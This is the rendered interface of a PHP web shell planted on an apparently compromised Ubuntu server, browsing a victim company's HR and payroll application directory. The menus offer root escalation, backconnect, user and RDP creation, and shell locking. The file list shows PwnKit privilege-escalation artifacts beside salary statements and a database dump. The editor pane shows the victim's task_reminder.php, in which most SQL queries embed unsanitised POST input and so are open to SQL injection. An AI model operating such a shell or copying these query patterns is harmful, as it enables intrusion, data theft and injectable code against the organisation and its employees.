Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.94.36
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
oums /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxrwxrwx
phpexcel
[ DIR ]
drwxrwxrwx
phpmailer
[ DIR ]
drwxrwxrwx
reports
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
api_sendmail.php
2.22
KB
-rwxrwxrwx
api_sendmail1.php
2.03
KB
-rwxrwxrwx
api_sendsms.php
1.08
KB
-rwxrwxrwx
attendance.php
13.66
KB
-rwxrwxrwx
attendance_report.php
40.23
KB
-rwxrwxrwx
attendance_report_attn_stat_mn...
16.79
KB
-rw-rw-r--
attendance_report_attn_stat_sa...
18.77
KB
-rw-rw-r--
attendance_report_datewise.php
5.59
KB
-rwxrwxrwx
attendance_report_excel.php
14.66
KB
-rwxrwxrwx
attendance_report_month_detail...
2.76
KB
-rwxrwxrwx
attendance_report_month_summar...
4.01
KB
-rwxrwxrwx
attendance_report_monthwise_in...
6.85
KB
-rwxrwxrwx
attendance_report_monthwise_su...
5.09
KB
-rwxrwxrwx
attendance_report_monthwise_su...
4.13
KB
-rwxrwxrwx
attendance_report_yearwise_sum...
4.56
KB
-rwxrwxrwx
attendance_statement_2023-03.x...
11.39
KB
-rw-r--r--
attendance_statement_2024-01.x...
60.03
KB
-rw-r--r--
attendance_statement_2024-02.x...
48.48
KB
-rw-r--r--
attendance_statement_2024-03.x...
10.73
KB
-rw-r--r--
attendance_statement_2024-04.x...
10.56
KB
-rw-r--r--
attendance_statement_2024-05.x...
10.63
KB
-rw-r--r--
attendance_statement_2024-06.x...
10.63
KB
-rw-r--r--
attendance_statement_2024-07.x...
47.43
KB
-rw-r--r--
attendance_statement_2024-08.x...
11.54
KB
-rw-r--r--
attendance_statement_2024-09.x...
43.78
KB
-rw-r--r--
attendance_statement_2024-10.x...
11.15
KB
-rw-r--r--
attendance_statement_2024-11.x...
43.35
KB
-rw-r--r--
attendance_statement_2024-12.x...
9.32
KB
-rw-r--r--
attendance_statement_2025-01.x...
33.21
KB
-rw-r--r--
attendance_statement_salary_.x...
7.04
KB
-rw-r--r--
attendance_statement_salary_20...
7.06
KB
-rw-r--r--
attendance_statement_salary_20...
7.36
KB
-rw-r--r--
attendance_statement_salary_20...
19.89
KB
-rw-r--r--
attendance_statement_salary_20...
18.32
KB
-rw-r--r--
attendance_statement_salary_20...
18.06
KB
-rw-r--r--
attendance_statement_salary_20...
17.78
KB
-rw-r--r--
attendance_statement_salary_20...
17.63
KB
-rw-r--r--
attendance_statement_salary_20...
7.72
KB
-rw-r--r--
attendance_statement_salary_20...
7.67
KB
-rw-r--r--
attendance_statement_salary_20...
7.72
KB
-rw-r--r--
attendance_statement_salary_20...
7.52
KB
-rw-r--r--
attendance_statement_salary_20...
7.06
KB
-rw-r--r--
attendance_statement_salary_20...
16.64
KB
-rw-r--r--
attendance_statement_salary_20...
7.54
KB
-rw-r--r--
attendance_status.php
20.13
KB
-rwxrwxrwx
attendance_status_deepak.php
9.38
KB
-rw-rw-r--
attendance_status_ihf.php
9.38
KB
-rwxrwxrwx
backup_data.php
903
B
-rwxrwxrwx
control.php
5.78
KB
-rwxrwxrwx
departments.php
8.79
KB
-rwxrwxrwx
departments_logo_upload.php
679
B
-rwxrwxrwx
documents.php
4.16
KB
-rwxrwxrwx
employees.php
17.28
KB
-rwxrwxrwx
employees2.php
14.04
KB
-rw-rw-r--
employees_form.php
20.19
KB
-rw-rw-r--
employees_photo_upload.php
647
B
-rwxrwxrwx
employees_print_id_card.php
2.76
KB
-rw-rw-r--
employees_print_nda_form.php
12.86
KB
-rw-rw-r--
employees_report_excel.php
5.07
KB
-rw-rw-r--
expense.php
10.79
KB
-rwxrwxrwx
expense_advance.php
4.69
KB
-rwxrwxrwx
expense_advance2.php
4.55
KB
-rw-rw-r--
expense_report.php
3.26
KB
-rwxrwxrwx
expense_report_daywise_details...
4.46
KB
-rwxrwxrwx
expense_report_daywise_summary...
5.27
KB
-rwxrwxrwx
expense_report_details_date.ph...
5.32
KB
-rwxrwxrwx
expense_report_details_date_su...
5.43
KB
-rwxrwxrwx
expense_report_details_head.ph...
22.11
KB
-rwxrwxrwx
expense_report_details_head_su...
22.13
KB
-rwxrwxrwx
expense_report_headwise_detail...
18.32
KB
-rwxrwxrwx
expense_report_headwise_summar...
18.32
KB
-rwxrwxrwx
expense_report_monthwise_detai...
3.3
KB
-rwxrwxrwx
expense_report_monthwise_summa...
3.3
KB
-rwxrwxrwx
expense_report_statement.php
5.69
KB
-rwxrwxrwx
expense_report_statement_date....
6.15
KB
-rwxrwxrwx
expense_report_statement_excel...
19.74
KB
-rw-rw-r--
expense_report_statement_excel...
32.6
KB
-rwxrwxrwx
expense_report_statement_excel...
32.79
KB
-rw-rw-r--
expense_report_statement_mnth....
4.88
KB
-rwxrwxrwx
expense_report_statement_year....
4.86
KB
-rwxrwxrwx
expense_report_summary.php
18.43
KB
-rwxrwxrwx
expense_statement_monthly_.xls...
6.04
KB
-rw-r--r--
expense_statement_monthly_2023...
10.08
KB
-rw-r--r--
expense_statement_monthly_2024...
10
KB
-rw-r--r--
expense_statement_monthly_2024...
8.99
KB
-rw-r--r--
expense_statement_monthly_2024...
9.16
KB
-rw-r--r--
expense_statement_monthly_2024...
8.87
KB
-rw-r--r--
expense_statement_monthly_2024...
30.05
KB
-rw-r--r--
expense_statement_monthly_2024...
9
KB
-rw-r--r--
expense_statement_monthly_2024...
9.61
KB
-rw-r--r--
expense_statement_monthly_2024...
11.03
KB
-rw-r--r--
expense_statement_monthly_2024...
10.92
KB
-rw-r--r--
expense_statement_monthly_2024...
9.65
KB
-rw-r--r--
expense_statement_monthly_2024...
9.66
KB
-rw-r--r--
expense_statement_monthly_2024...
21.38
KB
-rw-r--r--
grievance_status.php
5.44
KB
-rw-rw-r--
header_menu.php
3.46
KB
-rwxrwxrwx
header_note.php
5.06
KB
-rwxrwxrwx
holidays.php
6.19
KB
-rwxrwxrwx
home_appraisals.php
185
B
-rwxrwxrwx
home_attendance.php
26.81
KB
-rwxrwxrwx
home_clients.php
10.62
KB
-rwxrwxrwx
home_dashboard.php
236
B
-rwxrwxrwx
home_employees.php
9.47
KB
-rwxrwxrwx
home_events.php
9.71
KB
-rwxrwxrwx
home_expenses.php
27.27
KB
-rwxrwxrwx
home_flash.php
2.38
KB
-rwxrwxrwx
home_inventory.php
3.14
KB
-rwxrwxrwx
home_movements.php
9.03
KB
-rwxrwxrwx
home_note_count.php
6.75
KB
-rw-rw-r--
home_salary.php
12.81
KB
-rwxrwxrwx
home_task.php
6.15
KB
-rwxrwxrwx
home_userlogs.php
2.02
KB
-rw-rw-r--
home_work_entry.php
15.08
KB
-rwxrwxrwx
home_work_flash.php
2.36
KB
-rwxrwxrwx
home_work_view.php
11.96
KB
-rwxrwxrwx
login.php
3.3
KB
-rwxrwxrwx
logout.php
261
B
-rwxrwxrwx
mc_print.php
9.54
KB
-rwxrwxrwx
mcf_status.php
2.87
KB
-rw-rw-r--
office_logisys3_oums_2024-09-2...
20.57
MB
-rw-r--r--
oums_sms_push.php
18.18
KB
-rwxrwxrwx
oums_sms_send.php
5.39
KB
-rwxrwxrwx
pg_app_edit.php
5.17
KB
-rwxrwxrwx
popup_empl_events.php
3.53
KB
-rw-rw-r--
popup_empl_salary.php
2.67
KB
-rw-rw-r--
popup_work_entry.php
3.14
KB
-rw-rw-r--
popup_work_review.php
1.55
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
salary.php
24.44
KB
-rwxrwxrwx
salary_statement.php
40.09
KB
-rw-rw-r--
salary_statement_2024-05.xlsx
18.57
KB
-rw-r--r--
salary_statement_2024-06.xlsx
18.43
KB
-rw-r--r--
salary_statement_2024-07.xlsx
17.89
KB
-rw-r--r--
salary_statement_2024-08.xlsx
17.46
KB
-rw-r--r--
salary_statement_2024-09.xlsx
16.97
KB
-rw-r--r--
salary_statement_2024-10.xlsx
16.94
KB
-rw-r--r--
salary_statement_2024-11.xlsx
17.36
KB
-rw-r--r--
salary_statement_2024-12.xlsx
17.58
KB
-rw-r--r--
salary_statement_month_excel.p...
21.36
KB
-rw-rw-r--
send_mail.php
383
B
-rwxrwxrwx
send_sms.php
203
B
-rwxrwxrwx
sendsmsapi.php
759
B
-rwxrwxrwx
staff_move.php
8.55
KB
-rwxrwxrwx
status_report.php
23.7
KB
-rwxrwxrwx
status_report_03022018.php
14.76
KB
-rwxrwxrwx
status_report_import_attendanc...
3.27
KB
-rwxrwxrwx
sys_connect.php
492
B
-rwxrwxrwx
sys_connect_old.php
123
B
-rwxrwxrwx
sys_connect_pget.php
311
B
-rwxrwxrwx
sys_employees.php
2.55
KB
-rwxrwxrwx
sys_grid_data.php
805
B
-rwxrwxrwx
sys_grid_navbar.php
1.72
KB
-rwxrwxrwx
sys_mainphp.php
6.92
KB
-rwxrwxrwx
sys_mode.php
780
B
-rwxrwxrwx
sys_module.php
580
B
-rwxrwxrwx
sys_modules.php
2.47
KB
-rwxrwxrwx
sys_session.php
1.04
KB
-rwxrwxrwx
task_reminder.php
16.44
KB
-rwxrwxrwx
task_review.php
11.37
KB
-rwxrwxrwx
upcoming_events.php
8.79
KB
-rw-rw-r--
user_departments.php
4.09
KB
-rwxrwxrwx
user_logs.php
5.8
KB
-rwxrwxrwx
user_password.php
3.67
KB
-rwxrwxrwx
user_password_request.php
2.09
KB
-rwxrwxrwx
user_rights.php
7.34
KB
-rwxrwxrwx
user_setup.php
10.79
KB
-rwxrwxrwx
user_validate.php
3.07
KB
-rwxrwxrwx
work_assign.php
5.86
KB
-rw-rw-r--
work_done_report.xlsx
7.91
KB
-rw-r--r--
work_done_report_empl.xlsx
6.57
KB
-rw-r--r--
work_entry.php
9.04
KB
-rwxrwxrwx
work_entry_org.php
3.48
KB
-rwxrwxrwx
work_entry_report.php
2.71
KB
-rwxrwxrwx
work_entry_report_appraisal.ph...
8.79
KB
-rw-rw-r--
work_entry_report_assn_work_ex...
8.79
KB
-rw-rw-r--
work_entry_report_assn_work_vi...
9.03
KB
-rw-rw-r--
work_entry_report_statement.ph...
4.63
KB
-rwxrwxrwx
work_entry_report_work_done_as...
9.34
KB
-rw-rw-r--
work_entry_report_work_done_as...
9.46
KB
-rw-rw-r--
work_entry_report_work_done_em...
8.91
KB
-rw-rw-r--
work_entry_report_work_done_em...
8.91
KB
-rw-rw-r--
work_entry_report_work_done_ex...
8.79
KB
-rw-rw-r--
work_entry_report_work_done_li...
9.43
KB
-rw-rw-r--
work_entry_report_work_done_li...
8.91
KB
-rw-rw-r--
work_entry_report_work_done_st...
4.65
KB
-rw-rw-r--
work_review.php
6.08
KB
-rwxrwxrwx
workentry_report.php
9.43
KB
-rw-rw-r--
xattendance_report_01.php
7.77
KB
-rwxrwxrwx
xattendance_report_02.php
4.49
KB
-rwxrwxrwx
xattendance_report_03.php
6
KB
-rwxrwxrwx
xattendance_report_04.php
5.18
KB
-rwxrwxrwx
xattendance_report_05.php
4.84
KB
-rwxrwxrwx
xget_master_info.php
801
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : task_reminder.php
<?php include("sys_session.php"); include("sys_connect.php"); include("sys_mainphp.php"); include("api_sendsms.php"); $load_data = $_POST['load_data']; $resp_mesg = ""; $resp_stat = ""; $resp_file = ""; $sms1_sent = ""; $sms2_sent = ""; if ($load_data == 'grid_data') { require("sys_grid_data.php"); if ($type_id == 'ADMIN') { $myqry = " ftaskasby like '$_POST[task_asby]' and ftaskasto like '$_POST[task_asto]' "; } else { $myqry = " (ftaskasby like '$empl_id' and ftaskasto like '$_POST[task_asto]') and (ftaskasby like '$empl_id' or ftaskasto like '$empl_id') "; } $i = 1; $grid_sele = "select ftaskcode,date_format(ftaskdate,'%d/%m/%Y') as ltaskdate, ftaskname, ftaskasby, e1.femplname as fasbyname, ftaskasto, e2.femplname as fastoname, ftaskstat,fcompdate from taskreminder tk left join masempl e1 on tk.ftaskasby = e1.femplcode left join masempl e2 on tk.ftaskasto = e2.femplcode where ftaskstat like '$_POST[task_stat]' and ftaskname like '%$_POST[task_find]%' and ". $myqry ." and ifnull(tk.fdeleted,'F')='F' order by ftaskdate desc, ftaskcode desc"; $grid_para = grid_limit($grid_sele); $page_numb = $grid_para[0]; $last_page = $grid_para[1]; $page_limt = $grid_para[2]; $lowr_limt = $grid_para[3]; $mysql = $grid_sele . " limit $lowr_limt, $page_limt"; $myres = mysqli_query($mycon, $mysql); $mycnt = mysqli_num_rows($myres); if ($mycnt > 0) { echo "<table>"; echo "<thead>"; echo "<tr>"; echo "<th width=4%> # </th>"; echo "<th width=6%> ID </th>"; echo "<th width=8%> Date</th>"; echo "<th width=30%> Reminder Name </th>"; echo "<th width=16%> Reminder from </th>"; echo "<th width=16%> Reminder To </th>"; echo "<th width=8%> Status </th>"; echo "<th width=8%> Completed On </th>"; echo "<th width=10%> Action</th>"; echo "</tr>"; echo "</thead>"; echo "<tbody>"; while ($myrow = mysqli_fetch_assoc($myres)) { $page_link = " <a class='btn btn-success btn-sm' href=# onClick=edit_data('$myrow[ftaskcode]')>Edit</a> "; // $page_link .= " <a class='btn btn-danger btn-sm' href=# onClick=dele_data('$myrow[ftaskcode]')>Delete</a>"; echo "<tr id=$myrow[ftaskcode]>"; echo "<td align=center> $i</td>"; echo "<td align=center>$myrow[ftaskcode]</td>"; echo "<td align=center>$myrow[ltaskdate]</td>"; echo "<td align=left> $myrow[ftaskname]</td>"; echo "<td align=left> $myrow[fasbyname]</td>"; echo "<td align=left> $myrow[fastoname]</td>"; echo "<td align=center>$myrow[ftaskstat]</td>"; echo "<td align=center>$myrow[fcompdate]</td>"; echo "<td align=center>$page_link</td>"; echo "</tr>"; $i++; } echo "</tbody>"; echo "</table>"; include("sys_grid_navbar.php"); } else { echo "<div class='alert alert-info'>No details found!</div>"; } } if ($load_data == 'dele_data') { $dele_code = $_POST['dele_code']; $mysql = "update taskreminder set fdeleted='T' where ftaskcode='$dele_code'"; $myres = mysqli_query($mycon, $mysql); } if ($load_data == 'empl_list') { $mysql = "select * from masempl e left join masdept d on e.fdeptcode=d.fdeptcode where fempltype='P' and ifnull(femplstat,'F')='T' and femplcode not in ('1000') and e.fdeptcode not in ('DEP','IHF') order by femplname"; $myres = mysqli_query($mycon, $mysql); if (mysqli_num_rows($myres) > 1) { echo "<option value=''>--Select--</option>"; } while ($myrow = mysqli_fetch_assoc($myres)) { echo "<option value='$myrow[femplcode]'>$myrow[femplname] | $myrow[femplcode] | $myrow[fempldesn] | $myrow[fdeptcode] | $myrow[fdeptshrt]</option>"; } } if ($load_data == 'sele_empl_copy') { $mysql = "select em.femplcode,em.femplname,em.fempldesn,em.femplphot,dp.fdeptcode,dp.fdeptshrt from masempl em inner join masdept dp on em.fdeptcode = dp.fdeptcode where ifnull(femplstat,'F')='T' and femplname like '%$_POST[sele_find]%' and femplcode not in ('1000','$_POST[task_asby]','$_POST[task_asto]') and em.fdeptcode not in ('DEP','IHF') order by femplname;"; $myres = mysqli_query($mycon, $mysql); $mycnt = mysqli_num_rows($myres); if ($mycnt > 0) { echo "<div class='list-group'>"; while ($myrow = mysqli_fetch_assoc($myres)) { if ($myrow['femplphot'] == '') { $empl_imge = "img-empl/blank.png"; } else { $url = dirname($_SERVER['PHP_SELF']) . "../img-empl/" . $myrow['femplphot']; $handle = curl_init($url); curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE); $response = curl_exec($handle); $httpCode = curl_getinfo($handle, CURLINFO_HTTP_CODE); if ($httpCode == 404) { $empl_imge = "img-empl/blank.png"; } else { $empl_imge = "img-empl/" . $myrow['femplphot']; } curl_close($handle); } echo "<label class='list-group-item text-left' style='padding:3px 5px;border-radius:0px;font-weight:normal;'>"; echo "<img src='$empl_imge' class='img-rounded' alt='' height='20px' width='20px' style='border:1px solid #ccc;' align='absmiddle'> $myrow[femplname] <div style='float:right;'> $myrow[femplcode] | $myrow[fdeptcode] <a href='#'>Add</a></div>"; echo "</label>"; } echo "</div>"; } else{ echo "<div class='alert alert-info'>No details found to add!</div>"; } } if ($load_data == 'list_empl_copy') { $mysql = "select em.femplcode,em.femplname,em.fempldesn,em.femplphot,dp.fdeptcode,dp.fdeptshrt from masempl em inner join masdept dp on em.fdeptcode = dp.fdeptcode inner join taskreminder rm on em.femplcode = rm.ftaskcopy and rm.ftaskcode = '$_POST[task_code]' where ifnull(femplstat,'F')='T' and femplname like '%$_POST[list_find]%' and femplcode not in ('1000','$empl_id') and em.fdeptcode not in ('DEP','IHF') order by femplname;"; $myres = mysqli_query($mycon, $mysql); $mycnt = mysqli_num_rows($myres); if ($mycnt > 0) { echo "<div class='list-group'>"; while ($myrow = mysqli_fetch_assoc($myres)) { if ($myrow['femplphot'] == '') { $empl_imge = "img-empl/blank.png"; } else { $url = dirname($_SERVER['PHP_SELF']) . "../img-empl/" . $myrow['femplphot']; $handle = curl_init($url); curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE); $response = curl_exec($handle); $httpCode = curl_getinfo($handle, CURLINFO_HTTP_CODE); if ($httpCode == 404) { $empl_imge = "img-empl/blank.png"; } else { $empl_imge = "img-empl/" . $myrow['femplphot']; } curl_close($handle); } echo "<label class='list-group-item text-left' style='padding:3px 5px;border-radius:0px;font-weight:normal;'>"; echo "<img src='$empl_imge' class='img-rounded' alt='' height='20px' width='20px' style='border:1px solid #ccc;' align='absmiddle'> $myrow[femplname] <div style='float:right;'> $myrow[femplcode] | $myrow[fdeptcode] <a href='#'>Remove</a></div>"; echo "</label>"; } echo "</div>"; } else{ echo "<div class='alert alert-info'>No details found to remove!</div>"; } } if ($load_data == 'disp_data') { $mysql = "select * from taskreminder where ftaskcode='$_POST[task_code]'"; $myres = mysqli_query($mycon, $mysql); $myrows = array(); while ($r = mysqli_fetch_assoc($myres)) { $myrows = $r; } echo json_encode($myrows); } if ($load_data == 'save_data') { $page_mode = $_POST['page_mode']; $task_code = $_POST['task_code']; $task_name = $_POST['task_name']; $last_date = $_POST['last_date']; $task_asby = $_POST['task_asby']; $task_asto = $_POST['task_asto']; $task_stat = $_POST['task_stat']; $strt_date = $_POST['strt_date']; $last_date = $_POST['last_date']; $comp_date = $_POST['comp_date']; $mysql1 = "select * from masempl where femplcode='$task_asto'"; $myres1 = mysqli_query($mycon, $mysql1); while ($myrow1 = mysqli_fetch_assoc($myres1)) { $asto_name = $myrow1['femplname']; $asto_mobl = $myrow1['femplmobl']; $asto_mail = $myrow1['femplmail']; } $mysql1 = "select * from masempl where femplcode='$task_asby'"; $myres1 = mysqli_query($mycon, $mysql1); while ($myrow1 = mysqli_fetch_assoc($myres1)) { $asby_name = $myrow1['femplname']; $asby_mobl = $myrow1['femplmobl']; $asby_mail = $myrow1['femplmail']; } $updt_time = date("d/m/Y H:i:s"); if ($page_mode == "add") { $mysql = "insert into taskreminder (ftaskdate, ftaskname, ftaskdetl, ftaskasby, ftaskasto, ftaskremk, ftaskstat, fstrtdate, flastdate, fcompdate,fremndat1,fremndat2,fremndat3,fupdtuser, fupdttime) values( str_to_date('$_POST[task_date]','%d/%m/%Y') , '$_POST[task_name]', '$_POST[task_detl]', '$_POST[task_asby]', '$_POST[task_asto]', '$_POST[task_remk]', '$_POST[task_stat]', str_to_date(if('$_POST[strt_date]'='',null,'$_POST[strt_date]'),'%d/%m/%Y'), str_to_date(if('$_POST[last_date]'='',null,'$_POST[last_date]'),'%d/%m/%Y'), str_to_date(if('$_POST[comp_date]'='',null,'$_POST[comp_date]'),'%d/%m/%Y'), str_to_date(if('$_POST[remn_dat1]'='',null,'$_POST[remn_dat1]'),'%d/%m/%Y'), str_to_date(if('$_POST[remn_dat2]'='',null,'$_POST[remn_dat2]'),'%d/%m/%Y'), str_to_date(if('$_POST[remn_dat2]'='',null,'$_POST[remn_dat3]'),'%d/%m/%Y'), '$user_id',now())"; $myres = mysqli_query($mycon, $mysql); $resp_stat = "T"; $resp_mesg = "Task added!"; $crtd_code = str_pad(mysqli_insert_id($mycon), 6, '0', STR_PAD_LEFT); set_user_logs($dept_id, $user_id, 'TASK', 'TASK REMINDER CREATED: ' . $crtd_code . ' - ' . $_POST['task_date'] . ', by: ' . $asby_name . ', to: ' . $asto_name); //sms note if (strlen($asto_mobl) == 10) { $asto_mesg = "Task Created [" . $crtd_code . "] " . chr(10) . "Task Name : " . $task_name . chr(10) . "Task From : " . $asby_name . chr(10) . "Start Date : " . $strt_date . chr(10) . "Due Date : " . $last_date . " - Uniclare"; send_sms($asto_mobl, $asto_mesg); $asto_qry = "insert ignore into logisys3_comexam.sendsms(funivcode,fregno,fmobileno,fenttype,fsubcode,fmessage,fstatus,fdeleted,fyear,fexamtype,fupdate) values('999','$_POST[task_asto]','$asto_mobl','oums',concat(date_format(current_date,'%d/%m/%Y'),'_nt_','$crtd_code'),'$asto_mesg','T','F',year(current_date),'1',now())"; $asto_res = mysqli_query($mycon, $asto_qry); } if (strlen($asby_mobl) == 10) { $asby_mesg = "Task Created [" . $crtd_code . "] " . chr(10) . "Task Name : " . $task_name . chr(10) . "Assigned To : " . $asto_name . chr(10) . "Start Date : " . $strt_date . chr(10) . "Due Date : " . $last_date . " - Uniclare"; send_sms($asby_mobl, $asby_mesg); $asby_qry = "insert ignore into logisys3_comexam.sendsms(funivcode,fregno,fmobileno,fenttype,fsubcode,fmessage,fstatus,fdeleted,fyear,fexamtype,fupdate) values('999','$_POST[task_asby]','$asby_mobl','oums',concat(date_format(current_date,'%d/%m/%Y'),'_nt_','$crtd_code'),'$asby_mesg','T','F',year(current_date),'1',now())"; $asby_res = mysqli_query($mycon, $asby_qry); } } else { $mysql = "update taskreminder set ftaskname='$_POST[task_name]', ftaskdetl='$_POST[task_detl]', ftaskasto='$_POST[task_asto]', ftaskremk='$_POST[task_remk]', ftaskstat='$_POST[task_stat]', fstrtdate=str_to_date('$_POST[strt_date]','%d/%m/%Y'), flastdate=str_to_date('$_POST[last_date]','%d/%m/%Y'), fcompdate=str_to_date('$_POST[comp_date]','%d/%m/%Y'), fupdtuser='$user_id',fupdttime=now() where ftaskcode='$_POST[task_code]]'"; $myres = mysqli_query($mycon, $mysql); $resp_stat = "T"; $resp_mesg = "Task details updated!"; set_user_logs($dept_id, $user_id, 'TASK', 'TASK REMINDER UPDATED: ' . $task_code . ' - ' . $_POST['task_date'] . ', by: ' . $asby_name . ', to: ' . $asto_name); //sms note if ($task_stat == 'COMPLETED') { $mysql = "select ftaskcode,datediff(fcompdate,flastdate) as task_dely from taskreminder where ftaskcode='$task_code';"; $myres = mysqli_query($mycon, $mysql); while ($myrow = mysqli_fetch_assoc($myres)) { $task_dely = $myrow['task_dely']; } if (strlen($asto_mobl) == 10) { $taskqry = "insert ignore into logisys3_comexam.sendsms(funivcode,fregno,fmobileno,fenttype,fsubcode,fmessage,fstatus,fdeleted,fyear,fexamtype,fupdate) select '999' as funivcode,ftaskasby as fregno,e1.femplmobl as fmobileno,'oums' as fenttype, concat(date_format(current_date,'%d/%m/%Y'),'_rm_',ftaskcode) as fsubcode, concat('Task Completed [',ftaskcode,']\nTask name : ',ftaskname,'\nTask From : ',e1.femplname,'\nCompleted On : ',date_format(fcompdate,'%d/%m/%Y'),'\nStart date : ',date_format(fstrtdate,'%d/%m/%Y'),'\nDue date : ',date_format(flastdate,'%d/%m/%Y'),'\nDelay : ',datediff(fcompdate,flastdate),' days - Uniclare') as fmessage, 'F' as fstatus,'F' as fdeleted,year(current_date) as fyear,'1',now() from logisys3_oums.taskreminder t inner join logisys3_oums.masempl e1 on t.ftaskasby=e1.femplcode inner join logisys3_oums.masempl e2 on t.ftaskasto=e2.femplcode where ftaskstat='COMPLETED' and ftaskcode='$task_code' and flastdate<=current_date and ifnull(t.fdeleted,'F')<>'T';"; $taskres = mysqli_query($mycon, $taskqry); $asto_mesg = "Task Completed [" . $task_code . "] " . chr(10) . "Task Name : " . $task_name . chr(10) . "Task From : " . $asby_name . chr(10) . "Completed On : " . $comp_date . chr(10) . "Start Date : " . $strt_date . chr(10) . "Due Date : " . $last_date . chr(10) . "Delay : " . $task_dely . " days - Uniclare"; send_sms($asto_mobl, $asto_mesg); } if (strlen($asby_mobl) == 10) { $taskqry = "insert ignore into logisys3_comexam.sendsms(funivcode,fregno,fmobileno,fenttype,fsubcode,fmessage,fstatus,fdeleted,fyear,fexamtype,fupdate) select '999' as funivcode,ftaskasby as fregno,e1.femplmobl as fmobileno,'oums' as fenttype, concat(date_format(current_date,'%d/%m/%Y'),'_rm_',ftaskcode) as fsubcode, concat('Task Completed [',ftaskcode,']\nTask name : ',ftaskname,'\nCompleted By : ',e2.femplname,'\nCompleted On : ',date_format(fcompdate,'%d/%m/%Y'),'\nStart date : ',date_format(fstrtdate,'%d/%m/%Y'),'\nDue date : ',date_format(flastdate,'%d/%m/%Y'),'\nDelay : ',datediff(fcompdate,flastdate),' days - Uniclare') as fmessage, 'F' as fstatus,'F' as fdeleted,year(current_date) as fyear,'1',now() from logisys3_oums.taskreminder t inner join logisys3_oums.masempl e1 on t.ftaskasby=e1.femplcode inner join logisys3_oums.masempl e2 on t.ftaskasto=e2.femplcode where ftaskstat='COMPLETED' and ftaskcode='$task_code' and flastdate<=current_date and ifnull(t.fdeleted,'F')<>'T';"; $taskres = mysqli_query($mycon, $taskqry); $asby_mesg = "Task Completed [" . $task_code . "] " . chr(10) . "Task Name : " . $task_name . chr(10) . "Completed By : " . $asto_name . chr(10) . "Completed On : " . $comp_date . chr(10) . "Start Date : " . $strt_date . chr(10) . "Due Date : " . $last_date . chr(10) . "Delay : " . $task_dely . " days - Uniclare"; send_sms($asby_mobl, $asby_mesg); } } } echo json_encode(array("mesg" => $resp_mesg, "stat" => $resp_stat, "file" => $resp_file)); }
Close